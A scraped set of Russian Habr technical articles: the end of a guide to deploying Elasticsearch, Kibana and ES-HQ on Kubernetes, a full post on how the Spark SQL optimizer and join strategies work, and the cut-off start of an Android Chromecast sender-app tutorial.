[2018-10-21T07:41:55,162][INFO ][o.e.c.s.ClusterApplierService] [es-master-594b58b86c-bj7g7] added {{es-master-594b58b86c-9jkj2}{x9Prp1VbTq6\_kALQVNwIWg}{7NHUSVpuS0mFDTXzAeKRcg}{10.9.125.81}{10.9.125.81:9300},}, reason: apply cluster state (from master [master {es-master-594b58b86c-bj7g7}{1aFT97hQQ7yiaBc2CYShBA}{Q3QzlaG3QGazOwtUl7N75Q}{10.9.126.87}{10.9.126.87:9300} committed version [3] source [zen-disco-node-join[{es-master-594b58b86c-9jkj2}{x9Prp1VbTq6\_kALQVNwIWg}{7NHUSVpuS0mFDTXzAeKRcg}{10.9.125.81}{10.9.125.81:9300}]]])
[2018-10-21T07:48:02,485][INFO ][o.e.c.s.ClusterApplierService] [es-master-594b58b86c-bj7g7] added {{es-data-0}{SAOhUiLiRkazskZ\_TC6EBQ}{qirmfVJBTjSBQtHZnz-QZw}{10.9.126.88}{10.9.126.88:9300},}, reason: apply cluster state (from master [master {es-master-594b58b86c-bj7g7}{1aFT97hQQ7yiaBc2CYShBA}{Q3QzlaG3QGazOwtUl7N75Q}{10.9.126.87}{10.9.126.87:9300} committed version [4] source [zen-disco-node-join[{es-data-0}{SAOhUiLiRkazskZ\_TC6EBQ}{qirmfVJBTjSBQtHZnz-QZw}{10.9.126.88}{10.9.126.88:9300}]]])
[2018-10-21T07:48:21,984][INFO ][o.e.c.s.ClusterApplierService] [es-master-594b58b86c-bj7g7] added {{es-data-1}{fiv5Wh29TRWGPumm5ypJfA}{EXqKGSzIQquRyWRzxIOWhQ}{10.9.125.82}{10.9.125.82:9300},}, reason: apply cluster state (from master [master {es-master-594b58b86c-bj7g7}{1aFT97hQQ7yiaBc2CYShBA}{Q3QzlaG3QGazOwtUl7N75Q}{10.9.126.87}{10.9.126.87:9300} committed version [5] source [zen-disco-node-join[{es-data-1}{fiv5Wh29TRWGPumm5ypJfA}{EXqKGSzIQquRyWRzxIOWhQ}{10.9.125.82}{10.9.125.82:9300}]]])
[2018-10-21T07:50:51,245][INFO ][o.e.c.s.ClusterApplierService] [es-master-594b58b86c-bj7g7] added {{es-client-69b84b46d8-v5pj2}{MMjA\_tlTS7ux-UW44i0osg}{rOE4nB\_jSmaIQVDZCjP8Rg}{10.9.125.83}{10.9.125.83:9300},}, reason: apply cluster state (from master [master {es-master-594b58b86c-bj7g7}{1aFT97hQQ7yiaBc2CYShBA}{Q3QzlaG3QGazOwtUl7N75Q}{10.9.126.87}{10.9.126.87:9300} committed version [6] source [zen-disco-node-join[{es-client-69b84b46d8-v5pj2}{MMjA\_tlTS7ux-UW44i0osg}{rOE4nB\_jSmaIQVDZCjP8Rg}{10.9.125.83}{10.9.125.83:9300}]]])
[2018-10-21T07:50:58,964][INFO ][o.e.c.s.ClusterApplierService] [es-master-594b58b86c-bj7g7] added {{es-client-69b84b46d8-kr7j4}{gGC7F4diRWy2oM1TLTvNsg}{IgI6g3iZT5Sa0HsFVMpvvw}{10.9.124.82}{10.9.124.82:9300},}, reason: apply cluster state (from master [master {es-master-594b58b86c-bj7g7}{1aFT97hQQ7yiaBc2CYShBA}{Q3QzlaG3QGazOwtUl7N75Q}{10.9.126.87}{10.9.126.87:9300} committed version [7] source [zen-disco-node-join[{es-client-69b84b46d8-kr7j4}{gGC7F4diRWy2oM1TLTvNsg}{IgI6g3iZT5Sa0HsFVMpvvw}{10.9.124.82}{10.9.124.82:9300}]]])
```
**В логах главного мастер-пода хорошо видно, когда каждая нода добавляется в кластер. Это полезно знать при отладке.**
Мы развернули все компоненты, и теперь нужно проверить:
1) Деплой Elasticsearch из кластера Kubernetes с помощью контейнера Ubuntu.
```
root$ kubectl run my-shell --rm -i --tty --image ubuntu -- bash
root@my-shell-68974bb7f7-pj9x6:/# curl http://elasticsearch.elasticsearch:9200/_cluster/health?pretty
{
"cluster_name" : "my-es",
"status" : "green",
"timed_out" : false,
"number_of_nodes" : 7,
"number_of_data_nodes" : 2,
"active_primary_shards" : 0,
"active_shards" : 0,
"relocating_shards" : 0,
"initializing_shards" : 0,
"unassigned_shards" : 0,
"delayed_unassigned_shards" : 0,
"number_of_pending_tasks" : 0,
"number_of_in_flight_fetch" : 0,
"task_max_waiting_in_queue_millis" : 0,
"active_shards_percent_as_number" : 100.0
}
```
2) Деплой Elasticsearch снаружи кластера по IP внутреннего балансировщика GCP (в нашем случае — `10.9.120.8`).
```
root$ curl http://10.9.120.8:9200/_cluster/health?pretty
{
"cluster_name" : "my-es",
"status" : "green",
"timed_out" : false,
"number_of_nodes" : 7,
"number_of_data_nodes" : 2,
"active_primary_shards" : 0,
"active_shards" : 0,
"relocating_shards" : 0,
"initializing_shards" : 0,
"unassigned_shards" : 0,
"delayed_unassigned_shards" : 0,
"number_of_pending_tasks" : 0,
"number_of_in_flight_fetch" : 0,
"task_max_waiting_in_queue_millis" : 0,
"active_shards_percent_as_number" : 100.0
}
```
3) Правила anti-affinity для подов ES.
```
root$ kubectl -n elasticsearch get pods -o wide
NAME READY STATUS RESTARTS AGE IP NODE
es-client-69b84b46d8-kr7j4 1/1 Running 0 10m 10.8.14.52 gke-cluster1-pool1-d2ef2b34-t6h9
es-client-69b84b46d8-v5pj2 1/1 Running 0 10m 10.8.15.53 gke-cluster1-pool1-42b4fbc4-cncn
es-data-0 1/1 Running 0 12m 10.8.16.58 gke-cluster1-pool1-4cfd808c-kpx1
es-data-1 1/1 Running 0 12m 10.8.15.52 gke-cluster1-pool1-42b4fbc4-cncn
es-master-594b58b86c-9jkj2 1/1 Running 0 18m 10.8.15.51 gke-cluster1-pool1-42b4fbc4-cncn
es-master-594b58b86c-bj7g7 1/1 Running 0 18m 10.8.16.57 gke-cluster1-pool1-4cfd808c-kpx1
es-master-594b58b86c-lfpps 1/1 Running 0 18m 10.8.14.51 gke-cluster1-pool1-d2ef2b34-t6h9
```
Заметьте — у нас нет двух похожих подов на одной ноде, так что мы обеспечили высокую надежность при отказе ноды.
### Масштабирование
Мы можем развернуть **сервисы автомасштабирования** для клиентских нод в зависимости от лимита ЦП. Пример HPA для клиентской ноды:
```
apiVersion: autoscaling/v1
kind: HorizontalPodAutoscaler
metadata:
name: es-client
namespace: elasticsearch
spec:
maxReplicas: 5
minReplicas: 2
scaleTargetRef:
apiVersion: extensions/v1beta1
kind: Deployment
name: es-client
targetCPUUtilizationPercentage: 80
```
Автомасштабирование добавляет поды на клиентской ноде в кластер, и это видно в логах любого пода на мастер-ноде.
**Что касается подов на нодах данных**, нужно просто увеличить число реплик на панели управления Kubernetes или в консоли GKE. Созданная нода данных сама добавится в кластер и начнет реплицировать данные с других нод.
**Подам на мастер-нодах** автомасштабирование не нужно — они хранят только данные о состоянии кластера. Но если вы собираетесь добавлять ноды данных, следите, чтобы **число мастер-нод в кластере было нечетным**, и не забывайте менять для среды переменную **NUMBER\_OF\_MASTERS**.
Деплой Kibana и ES-HQ
---------------------
[Kibana](https://www.elastic.co/products/kibana) и [ES-HQ](http://www.elastichq.org)
Kibana — это простой инструмент для визуализации данных ES, а ES-HQ помогает администрировать и мониторить кластер Elasticsearch. При деплое Kibana и ES-HQ помните, что:
* Мы передаем образу Docker имя кластера ES как переменную среды.
* Сервис для доступа к деплою Kibana/ES-HQ остается внутри компании, то есть общедоступный IP не создается. Мы используем внутренний балансировщик нагрузки GCP.
### Деплой Kibana
```
kind: Namespace
metadata:
name: elasticsearch
---
apiVersion: apps/v1beta1
kind: Deployment
metadata:
name: es-kibana
namespace: elasticsearch
labels:
component: elasticsearch
role: kibana
spec:
replicas: 1
template:
metadata:
labels:
component: elasticsearch
role: kibana
spec:
containers:
- name: es-kibana
image: docker.elastic.co/kibana/kibana-oss:6.2.2
env:
- name: CLUSTER_NAME
value: my-es
- name: ELASTICSEARCH_URL
value: http://elasticsearch:9200
resources:
limits:
cpu: 0.5
ports:
- containerPort: 5601
name: http
---
apiVersion: v1
kind: Service
metadata:
name: kibana
annotations:
cloud.google.com/load-balancer-type: "Internal"
namespace: elasticsearch
labels:
component: elasticsearch
role: kibana
spec:
selector:
component: elasticsearch
role: kibana
ports:
- name: http
port: 80
targetPort: 5601
protocol: TCP
type: LoadBalancer
view rawes-kibana.yml hosted with love by GitHub
```
(Деплой и сервис Kibana)
### Деплой ES-HQ
```
kind: Namespace
metadata:
name: elasticsearch
---
apiVersion: apps/v1beta1
kind: Deployment
metadata:
name: es-hq
namespace: elasticsearch
labels:
component: elasticsearch
role: hq
spec:
replicas: 1
template:
metadata:
labels:
component: elasticsearch
role: hq
spec:
containers:
- name: es-hq
image: elastichq/elasticsearch-hq:release-v3.4.0
env:
- name: HQ_DEFAULT_URL
value: http://elasticsearch:9200
resources:
limits:
cpu: 0.5
ports:
- containerPort: 5000
name: http
---
apiVersion: v1
kind: Service
metadata:
name: hq
annotations:
cloud.google.com/load-balancer-type: "Internal"
namespace: elasticsearch
labels:
component: elasticsearch
role: hq
spec:
selector:
component: elasticsearch
role: hq
ports:
- name: http
port: 80
targetPort: 5000
protocol: TCP
type: LoadBalancer
view rawes-hq.yml hosted with love by GitHub
```
(Деплой и сервис ES-HQ)
К обоим сервисам мы обращаемся через созданный внутренний балансировщик.
```
root$ kubectl -n elasticsearch get svc -l role=kibana
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kibana LoadBalancer 10.9.121.246 10.9.120.10 80:31400/TCP 1m
root$ kubectl -n elasticsearch get svc -l role=hq
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
hq LoadBalancer 10.9.121.150 10.9.120.9 80:31499/TCP 1m
```
http:///app/kibana#/home?\_g=()
(Панель управления Kibana)
http:///#!/clusters/my-es
(Панель управления ElasticHQ для мониторинга и управления кластером)
ES — это одна из самых популярных распределенных систем поиска и анализа, а в Kubernetes она решает ключевые проблемы машстабирования и высокой доступности. К тому же новые кластеры ES в Kubernetes развертываются моментально. | https://habr.com/ru/post/432374/ | null | ru | null |
# Spark SQL. Немного об оптимизаторе запросов
Всем привет. В качестве введения, хочется рассказать, как я дошел до жизни такой.
До того как встретиться с Big Data и Spark, в частности, мне довелось много и часто оптимизировать SQL запросы, сначала для MSSQL, потом для Oracle, и вот теперь я столкнулся со SparkSQL.
И если для СУБД уже существует множество хороших книг, описывающих методологию и «ручки», которые можно покрутить для получения оптимального плана запроса, то для Spark такого рода книг я не встречал. На глаза попадались больше статьи и наборы практик, причем больше относящиеся к работе через RDD/Dataset API, а не чистому SQL. Для меня одной из эталонных книг на тему оптимизации SQL является книга Дж. Льюис «Oracle. Основы стоимостной оптимизации». Что-то подобное по глубине проработки я и искал. Почему предметом исследования стал именно SparkSQL, а не API, лежащий в основе? Тут интерес был вызван особенностями проекта, над которым я работаю.
Для одного из заказчиков наша компания разрабатывает хранилище данных, детальный слой которого и часть витрин находится в кластере Hadoop, а итоговые витрины — в Oracle. Данный проект подразумевает обширный слой преобразования данных, который реализован на Spark. Для ускорения разработки и возможности подключения разработчиков ETL, не знакомых с тонкостями технологий Big Data, но хорошо знакомых с SQL и ETL средствами, был разработан инструмент, напоминающий по идеологии прочие ETL средства, например, Informatica, и позволяющий визуально конструировать ETL процессы с последующей генерацией кода для Spark. В силу сложности алгоритмов и большого количества преобразований разработчики в основном используют SparkSQL запросы.
Вот с этого места и начинается история, так как пришлось отвечать на большое количество вопросов вида «А почему запрос не работает/работает медленно/работает не так как в Oracle?». Наиболее интересной частью для меня оказался именно этот: «Почему медленно работает?». Тем более что в отличие от СУБД, с которыми я работал до этого, можно залезть в исходный код и получить ответ на интересующие вопросы.
Ограничения и допущения
-----------------------
Для запуска примеров и анализа исходного кода используется Spark 2.3.0.
Предполагается, что читатель знаком с архитектурой Spark, и общими принципами действия оптимизатора запросов для одной из СУБД. Как минимум, фраза «план запроса» точно не должна вызывать удивления.
Также данная статья пытается не стать переводом кода оптимизатора Spark на русский язык, поэтому для вещей, весьма интересных с точки зрения работы оптимизатора, но которые можно прочитать в исходном коде, тут будут просто кратко упомянуты со ссылками на соответствующие классы.
Переходим к изучению
--------------------
Начнем с небольшого запроса, чтобы изучить основные стадии, через которые он проходит от синтаксического разбора до выполнения.
```
scala> spark.read.orc("/user/test/balance").createOrReplaceTempView("bal")
scala> spark.read.orc("/user/test/customer").createOrReplaceTempView("cust")
scala> val df = spark.sql("""
| select bal.account_rk, cust.full_name
| from bal
| join cust
| on bal.party_rk = cust.party_rk
| and bal.actual_date = cust.actual_date
| where bal.actual_date = cast('2017-12-31' as date)
| """)
df: org.apache.spark.sql.DataFrame = [account_rk: decimal(38,18), full_name: string]
scala> df.explain(true)
```
Основной модуль, отвечающий за разбор SQL, и оптимизацию плана выполнения запроса — Spark Catalyst.
Расширенный вывод при описании плана запроса (df.explain(true)) позволяет отследить все стадии, которые проходит запрос:
* Parsed Logical Plan — получаем после синтаксического разбора SQL. На этом этапе проверяется только синтаксическая корректность запроса.
```
== Parsed Logical Plan ==
'Project ['bal.account_rk, 'cust.full_name]
+- 'Filter ('bal.actual_date = cast(2017-12-31 as date))
+- 'Join Inner, (('bal.party_rk = 'cust.party_rk) && ('bal.actual_date = 'cust.actual_date))
:- 'UnresolvedRelation `bal`
+- 'UnresolvedRelation `cust`
```
* Analyzed Logical Plan — на этом этапе добавляется информация о структуре используемых сущностей, проверяется соответствие структуры и запрашиваемых атрибутов.
```
== Analyzed Logical Plan ==
account_rk: decimal(38,18), full_name: string
Project [account_rk#1, full_name#59]
+- Filter (actual_date#27 = cast(2017-12-31 as date))
+- Join Inner, ((party_rk#18 = party_rk#57) && (actual_date#27 = actual_date#88))
:- SubqueryAlias bal
: +- Relation[ACTUAL_END_DATE#0,ACCOUNT_RK#1,... 4 more fields] orc
+- SubqueryAlias cust
+- Relation[ACTUAL_END_DATE#56,PARTY_RK#57... 9 more fields] orc
```
* Optimized Logical Plan — самое интересное для нас. На данном этапе происходит преобразование получившегося дерева запроса на основании доступных правил оптимизации.
```
== Optimized Logical Plan ==
Project [account_rk#1, full_name#59]
+- Join Inner, ((party_rk#18 = party_rk#57) && (actual_date#27 = actual_date#88))
:- Project [ACCOUNT_RK#1, PARTY_RK#18, ACTUAL_DATE#27]
: +- Filter ((isnotnull(actual_date#27) && (actual_date#27 = 17531)) && isnotnull(party_rk#18))
: +- Relation[ACTUAL_END_DATE#0,ACCOUNT_RK#1,... 4 more fields] orc
+- Project [PARTY_RK#57, FULL_NAME#59, ACTUAL_DATE#88]
+- Filter ((isnotnull(actual_date#88) && isnotnull(party_rk#57)) && (actual_date#88 = 17531))
+- Relation[ACTUAL_END_DATE#56,PARTY_RK#57,... 9 more fields] orc
```
* Physical Plan — начинают учитываться особенности доступа к исходным данным, включая оптимизации по фильтрации партиций и данных для минимизации получаемого набора данных. Выбирается стратегия выполнения join (более подробно о доступных вариантах – ниже).
```
== Physical Plan ==
*(2) Project [account_rk#1, full_name#59]
+- *(2) BroadcastHashJoin [party_rk#18, actual_date#27], [party_rk#57, actual_date#88], Inner, BuildRight
:- *(2) Project [ACCOUNT_RK#1, PARTY_RK#18, ACTUAL_DATE#27]
: +- *(2) Filter isnotnull(party_rk#18)
: +- *(2) FileScan orc [ACCOUNT_RK#1,PARTY_RK#18,ACTUAL_DATE#27] Batched: false, Format: ORC, Location: InMemoryFileIndex[hdfs://cluster:8020/user/test/balance], PartitionCount: 1, PartitionFilters: [isnotnull(ACTUAL_DATE#27), (ACTUAL_DATE#27 = 17531)], PushedFilters: [IsNotNull(PARTY_RK)], ReadSchema: struct
+- BroadcastExchange HashedRelationBroadcastMode(List(input[0, decimal(38,18), true], input[2, date, true]))
+- \*(1) Project [PARTY\_RK#57, FULL\_NAME#59, ACTUAL\_DATE#88]
+- \*(1) Filter isnotnull(party\_rk#57)
+- \*(1) FileScan orc [PARTY\_RK#57,FULL\_NAME#59,ACTUAL\_DATE#88] Batched: false, Format: ORC, Location: InMemoryFileIndex[hdfs://cluster:8020/user/test/customer], PartitionCount: 1, PartitionFilters: [isnotnull(ACTUAL\_DATE#88), (ACTUAL\_DATE#88 = 17531)], PushedFilters: [IsNotNull(PARTY\_RK)], ReadSchema: struct
```
Следующие стадии оптимизации и выполнения (например, WholeStageCodegen) выходят за рамки данной статьи, но весьма подробно (равно как и описанные выше стадии) описаны в [Mastering Spark Sql](https://jaceklaskowski.gitbooks.io/mastering-spark-sql/spark-sql-QueryExecution.html#execution-pipeline).
Чтение плана выполнения запроса обычно происходит «изнутри» и «снизу вверх», то есть первыми выполняются наиболее вложенные части, и постепенно продвигаются к итоговой проекции, расположенной на самом верху.
Виды оптимизаторов запросов
---------------------------
Можно выделить два вида оптимизаторов запросов:
* Оптимизаторы, основанные на фиксированных правилах (Rule-based optimizator, RBO).
* Оптимизаторы, основанные на оценке стоимости выполнения запроса (Cost-based optimizator, CBO).
Первые заточены на применении набора фиксированных правил, например, применение условий фильтраций из where на более ранних этапах, если это возможно, предвычисление констант и т.д.
CBO оптимизатор для оценки качества полученного плана используют стоимостную функцию, которая обычно зависит от объема обрабатываемых данных, количества строк, попадающих под фильтры, стоимости выполнения тех или иных операций.
Ознакомиться детально с дизайн-спецификацией на CBO для Apache Spark можно по ссылкам: [спецификация](https://issues.apache.org/jira/secure/attachment/12823839/Spark_CBO_Design_Spec.pdf) и [основная JIRA задача для реализации](https://issues.apache.org/jira/browse/SPARK-16026).
Отправной точкой для изучения полного набора существующих оптимизаций может послужить код Optimizer.scala.
Вот небольшая выдержка из длинного списка доступных оптимизаций:
```
def batches: Seq[Batch] = {
val operatorOptimizationRuleSet =
Seq(
// Operator push down
PushProjectionThroughUnion,
ReorderJoin,
EliminateOuterJoin,
PushPredicateThroughJoin,
PushDownPredicate,
LimitPushDown,
ColumnPruning,
InferFiltersFromConstraints,
// Operator combine
CollapseRepartition,
CollapseProject,
CollapseWindow,
CombineFilters,
CombineLimits,
CombineUnions,
// Constant folding and strength reduction
NullPropagation,
ConstantPropagation,
........
```
Следует отметить, что список данных оптимизаций включает в себя как оптимизации, основанные на правилах, так и оптимизации, основанные на оценки стоимости запроса, о которых будет сказано ниже.
Особенностью CBO является то, что для корректной работы ему необходимо знать и хранить информацию по статистике данных, используемых в запросе — количество записей, размер записи, гистограммы распределения данных в столбцах таблиц.
Для сбора статистики используется набор SQL команд ANALYZE TABLE… COMPUTE STATISTICS, кроме того, необходим набор таблиц для хранения информации, API предоставляется через ExternalCatalog, точнее через HiveExternalCatalog.
Так как в настоящий момент CBO по умолчанию отключен, то основной упор будет сделан на исследовании доступных оптимизация и нюансов RBO.
Виды и выбор стратегии join
---------------------------
На стадии формирования физического плана выполнения запроса производится выбор стратегии join. На настоящий момент в Spark доступны следующие варианты (изучение кода можно начать с кода в SparkStrategies.scala).
### Broadcast hash join
Наилучший вариант в случае если одна из сторон join достаточно мала (критерий достаточности задается параметром *spark.sql.autoBroadcastJoinThreshold* в SQLConf). В этом случае данная сторона целиком копируется на все executor'ы, где и происходит hash join с основной таблицей. Кроме размера следует учитывать, что в случае outer join можно копировать только outer сторону, поэтому по возможности в качестве ведущей таблицы в случае outer join необходимо использовать таблицу с наибольшим объемом данных.
```
Помимо всего прочего, это единственный вариант оптимизации, для которого в коде SQL можно указать хинт по образцу Oracle, в виде /*+ broadcast(t1, t2) */
```
### Sort merge join
С включенной по умолчанию настройкой *spark.sql.join.preferSortMergeJoin* данный способ применяется по умолчанию, если ключи для join можно отсортировать.
Из особенностей можно отметить, что в отличие от предыдущего способа, оптимизация по кодогенерации для выполнения операции доступна только для inner join.
### Shuffle hash join
В случае если ключи не поддаются сортировке, либо отключена настройка выбора sort merge join по умолчанию, Catalyst пытается применить shuffle hash join. Помимо проверки на настройки, проверяется также, что Spark хватит памяти, чтобы построить локальный hash map для одной партиции (общее количество партиций задается настройкой *spark.sql.shuffle.partitions*)
### BroadcastNestedLoopJoin и CartesianProduct
В случае, когда отсутствует возможность прямого сравнения по ключу (например, условие по like) или отсутствуют ключи для соединения таблиц, в зависимости от размера таблиц, выбирается либо данный тип, либо CartesianProduct.
### Порядок указания таблиц в join'ах
В любом случае для работы join необходим shuffle таблиц по ключу. Поэтому в настоящий момент порядок указания таблиц, особенно в случае выполнению подряд нескольких join важен (если быть занудой, то в том случае, если не включен CBO, и не включена настройка JOIN\_REORDER\_ENABLED).
По возможности порядок соединения таблиц должен минимизировать количество shuffle операций для больших таблиц, для чего соединения по одному и тому же ключу должны идти последовательно. Также не стоит забывать про минимизацию данных для join, для возможности включения Broadcast Hash Join.
Транзитивное применение условий фильтрации
------------------------------------------
Рассмотрим следующий запрос:
```
select bal.account_rk, cust.full_name
from balance bal
join customer cust
on bal.party_rk = cust.party_rk
and bal.actual_date = cust.actual_date
where bal.actual_date = cast('2017-12-31' as date)
```
Здесь мы соединяем две таблицы, которые партицированы одинаково, по полю actual\_date и накладываем явный фильтр только на партицию по таблице balance.
Как видно из оптимизированного плана запроса, фильтр по дате применяется также и к customer, причем на моменте чтения данных с диска определяется, что необходима ровно одна партиция.
```
== Optimized Logical Plan ==
Project [account_rk#1, full_name#59]
+- Join Inner, ((party_rk#18 = party_rk#57) && (actual_date#27 = actual_date#88))
:- Project [ACCOUNT_RK#1, PARTY_RK#18, ACTUAL_DATE#27]
: +- Filter ((isnotnull(actual_date#27) && (actual_date#27 = 17531)) && isnotnull(party_rk#18))
: +- Relation[,... 4 more fields] orc
+- Project [PARTY_RK#57, FULL_NAME#59, ACTUAL_DATE#88]
+- Filter (((actual_date#88 = 17531) && isnotnull(actual_date#88)) && isnotnull(party_rk#57))
+- Relation[,... 9 more fields] orc
```
Но стоит только заменить в запросе inner join на left outer, как тут же отваливается push predicate для таблицы customer, и происходит полное сканирование, что является нежелательным эффектом.
```
== Optimized Logical Plan ==
Project [account_rk#1, full_name#59]
+- Join LeftOuter, ((party_rk#18 = party_rk#57) && (actual_date#27 = actual_date#88))
:- Project [ACCOUNT_RK#1, PARTY_RK#18, ACTUAL_DATE#27]
: +- Filter (isnotnull(actual_date#27) && (actual_date#27 = 17531))
: +- Relation[,... 4 more fields] orc
+- Project [PARTY_RK#57, FULL_NAME#59, ACTUAL_DATE#88]
+- Relation[,... 9 more fields] orc
```
Конвертация типов
-----------------
Рассмотрим простой пример отбора из таблицы с фильтрацией по типу клиента, в схеме тип поля party\_type — string.
```
select party_rk, full_name
from cust
where actual_date = cast('2017-12-31' as date)
and party_type = 101 -- некорректный тип
-- and party_type = '101' -- тип соответствует схеме данных
```
И сравним два получившихся плана, первый — когда обращаемся по некорректному типу (будет неявное приведение int to string), второй — когда по типу, соответствующему схеме.
```
PushedFilters: [IsNotNull(PARTY_TYPE)] // В первом случае фильтрация данных будет после вычитки из файла в память.
PushedFilters: [IsNotNull(PARTY_TYPE), EqualTo(PARTY_TYPE,101)] // В данном случае фильтрация данных будет осуществлена непосредственно в момент чтения из файла.
```
Аналогичная проблема наблюдается и для случая сравнения даты со строкой, будет фильтр на сравнение строк. Пример:
```
where OPER_DATE = '2017-12-31'
Filter (isnotnull(oper_date#0) && (cast(oper_date#0 as string) = 2017-12-31)
PushedFilters: [IsNotNull(OPER_DATE)]
where OPER_DATE = cast('2017-12-31' as date)
PushedFilters: [IsNotNull(OPER_DATE), EqualTo(OPER_DATE,2017-12-31)]
```
Для случая, когда возможно неявное приведение типа, например, int -> decimal, оптимизатор справляется самостоятельно.
Направление дальнейших исследований
-----------------------------------
Много любопытной информации о «ручках», которые можно использовать для тонкой настройки Catalyst, а также о возможностях (настоящих и будущих) оптимизатора можно почерпнуть из SQLConf.scala.
В частности, как можно увидеть по умолчанию стоимостной оптимизатор на текущий момент все еще выключен.
```
val CBO_ENABLED =
buildConf("spark.sql.cbo.enabled")
.doc("Enables CBO for estimation of plan statistics when set true.")
.booleanConf
.createWithDefault(false)
```
Равно как и зависящие от него оптимизации, связанные с переупорядочиванием join'ов.
```
val JOIN_REORDER_ENABLED =
buildConf("spark.sql.cbo.joinReorder.enabled")
.doc("Enables join reorder in CBO.")
.booleanConf
.createWithDefault(false)
```
или
```
val STARSCHEMA_DETECTION = buildConf("spark.sql.cbo.starSchemaDetection")
.doc("When true, it enables join reordering based on star schema detection. ")
.booleanConf
.createWithDefault(false)
```
Краткие итоги
-------------
Удалось затронуть только небольшую часть существующих оптимизаций, впереди ждут эксперименты со стоимостной оптимизацией, которая может дать намного больше простора для преобразования запросов. Также отдельный интересный вопрос — сопоставление набора оптимизаций при чтении из Parquet и Orc файлов, судя по jira проекта дело идет к паритету, но так ли это на самом деле?
Кроме того:
* Анализ и оптимизация запросов — это интересно и увлекательно, особенно с учетом доступности исходников.
* Включение CBO даст простор для дальнейших оптимизаций и исследований.
* Необходимо следить за применимостью основных правил, позволяющих отфильтровать как можно больше «лишних» данных на как можно более ранних этапах.
* Join — это необходимое зло, но по возможности стоит их минимизировать и следить за тем, какая реализация используется под капотом. | https://habr.com/ru/post/417103/ | null | ru | null |
# Разработка Chromecast Ready приложения под платформу Android
#### 1. Что такое Chromecast и как он работает?
Chromecast это гаджет, который позволяет пользователям передавать медиа контент с мобильных устройств на телевизор.
Устройство стоимостью 35$ было анонсировано 24 Июля 2013 года и названо гаджетом года по версии Time's 2013. В первую очередь это технология передачи медиа контента с телефонов, планшетов или ноутбуков на устройство с большим экраном — например на телевизор.
Сразу после анонса Chromacast SDK был в стадии бета тестирования, что ограничивало его практическое применение. Но 3 февраля 2014 года Google выпустила финальную версию SDK.
Теперь количество приложений, поддерживающих Chromecast стремительно растет, так что мы решили описать наш опыт разработки Chromecast ready приложений для Android. Эта статья раскрывает тему разработки Chromecast ready приложения: ниже вы найдете некоторые заметки, комментарии и рекомендации для разработчиков также как и примеры и исходные коды нашего приложения.
##### Как это работает?
Chromecast устройство исполняет специальную версию броузера Chrome, который может отображать специальные Web приложения (называемые “Receiver” приложениями). Непосредственная цель этих приложений — это показ медиа контента конечным пользователям. Но Chromecast устройство не имеет никаких прямых рычагов управления, так-что очевидно должны существовать некоторые внешние элементы управления, и как было сказано ранее, это может быть или мобильное приложение, или Web приложение (которые называют “Sender” приложением).
Таким образом с помощью Sender приложений мы можем управлять Chromecast устройством. Но как именно это происходит?
Это можно сделать через общую WiFi сеть — т.е. и Sender и Receiver приложения должны быть подключены к единой WiFi сети. Этот канал двунаправленный, так что “Sender” приложение например может выдавать команды на проигрывание медиа контента, в то время как “Receiver” приложение будет оповещать “Sender” приложение о статусе проигрывания и позиции.
#### 2. Разработка приложения
В общем, разработка приложений для Chromecast включает разработку Sender и Receiver приложений. Как было сказано ранее, Sender приложением может быть мобильное или Web приложение, хотя это и не ограничение. Receiver приложение — это специальное Web приложение, которое может быть запущено на Chromecast устройстве.
В этой статье мы опишем разработку простого Chromecast приложения, которое позволит обмен сообщениями между sender и receiver частями. Приложение, которое мы разработали может быть использовано как шаблон для дальнейших разработок.
Но прежде чем мы начнем, нам нужно настроить Chromecast устройство и зарегистрировать наше приложение.
##### 2.1. Настройка Chromecast устройства
Процедура описана [здесь](https://support.google.com/chromecast/answer/2998456?hl=en).
##### 2.2. Регистрация приложения
Вам нужно зарегистрировать ваше приложение для того чтоб получить ID приложения (который будет использоваться и в “sender” и в “receiver” приложениях).
Процедура регистрации описана [здесь](https://developers.google.com/cast/docs/registration).
##### 2.3. Разработка “Sender” приложения
Сейчас мы обсудим процесс разработки “Sender” приложения. Хотя для того чтоб быть функциональным, “Sender” приложение требует работающего “Receiver” приложения. Так что мы сможем проверить результаты только после разработки “Receiver” приложения.
Также разработка “Sender” приложения для Android описана [здесь](https://developers.google.com/cast/docs/android_sender).
В нашем случае, “Sender” приложение — это Android приложение которое использует набор технологий и библиотек для связи с “Receiver” приложением.
##### 2.3.1. Пререквизиты:
* IDE для разработки Android приложений (например Eclipse)
* [Android SDK](http://developer.android.com/sdk/index.html)
* [Google Play Services SDK](http://developer.android.com/google/play-services/setup.html) версии 15 или выше
* appcompat и media router libraries из пакета [Android Support Library](http://developer.android.com/tools/support-library/index.html)
##### 2.3.2. Создание скелетона
Создайте пустое Android приложение и добавьте следующие библиотеки и зависимости:
* android-sdk\extras\android\support\v7\appcompat
* android-sdk\extras\android\support\v7\mediarouter
* android-sdk\extras\google\google\_play\_services\libproject\google-play-services\_lib
Укажите минимальную версию Android, разрешения и другие необходимые данные:
```
```
Теперь создайте активити расширяющее ActionBarActivity.
##### 2.3.3. Реализация
Есть несколько ключевых состояний в работе приложения:
* Обнаружение устройства
* Работа с сессией
* Обмен сообщениями между Sender и Receiver приложениями
Давайте опишем каждое состояние более детально:
###### 1) Обнаружение устройства:
Обнаружение может быть запущено нажатием на кнопку “Cast”. Есть несколько способов показать эту кнопку, но мы будем использовать MediaRouter ActionBar провайдер.
Добавьте следующее в ваше меню:
```
```
Следующие поля вовлечены в процесс:
```
private final MediaRouter.Callback mediaRouterCallback = new MediaRouter.Callback()
{
@Override
public void onRouteSelected(MediaRouter router, MediaRouter.RouteInfo route)
{
CastDevice device = CastDevice.getFromBundle(route.getExtras());
//setSelectedDevice(device);
}
@Override
public void onRouteUnselected(MediaRouter router, MediaRouter.RouteInfo route)
{
//setSelectedDevice(null);
}
};
private MediaRouter mediaRouter;
private MediaRouteSelector mediaRouteSelector;
```
Инициализируйте mediaRouter и mediaRouteSelector в методе onCreate:
```
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
mediaRouter = MediaRouter.getInstance(getApplicationContext());
mediaRouteSelector = new MediaRouteSelector.Builder().addControlCategory(CastMediaControlIntent.categoryForCast(APP_ID)).build();
}
```
Сконфигурируйте action провайдер:
```
@Override
public boolean onCreateOptionsMenu(Menu menu)
{
super.onCreateOptionsMenu(menu);
getMenuInflater().inflate(R.menu.main, menu);
MenuItem mediaRouteMenuItem = menu.findItem(R.id.media_route_menu_item);
